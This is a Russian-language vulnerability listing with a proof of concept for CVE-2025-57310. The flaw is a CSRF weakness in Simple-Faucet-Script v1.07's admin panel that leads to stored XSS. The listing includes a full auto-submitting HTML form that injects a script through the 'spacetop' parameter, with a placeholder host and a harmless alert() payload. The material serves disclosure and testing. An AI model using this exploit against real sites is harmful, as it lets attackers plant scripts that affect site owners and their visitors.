hossainshadat/cve-2025-57310Эксплойт доказательства концепции для CVE-2025-57310: уязвимость CSRF в Simple-Faucet-Script v1.07, позволяющая хранимую XSS через специально созданные POST-запросы к панели администратора.
Уязвимость межсайтовой подделки запроса (CSRF) в Salmen2/Simple-Faucet-Script v1.07 через специально созданный POST-запрос к admin.php?p=ads&c=1, позволяющая злоумышленникам выполнять произвольный код.
CWE-352: Межсайтовая подделка запроса (CSRF)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Продукт уязвим к межсайтовой подделке запроса (CSRF) в панели администратора. Когда аутентифицированный администратор посещает вредоносную страницу, содержащую PoC, CSRF-атака вызывает несанкционированное изменение содержимого главной страницы.
<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h3>Standard CSRF PoC</h3>
<form action="https://example.com/admin.php?p=ads&c=1" method="post">
<input type="hidden" name="spacetop" value="<script>alert();</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Злоумышленник может внедрить произвольный HTML/JavaScript на главную страницу через параметр spacetop, что приводит к сохраненному межсайтовому скриптингу (Stored XSS).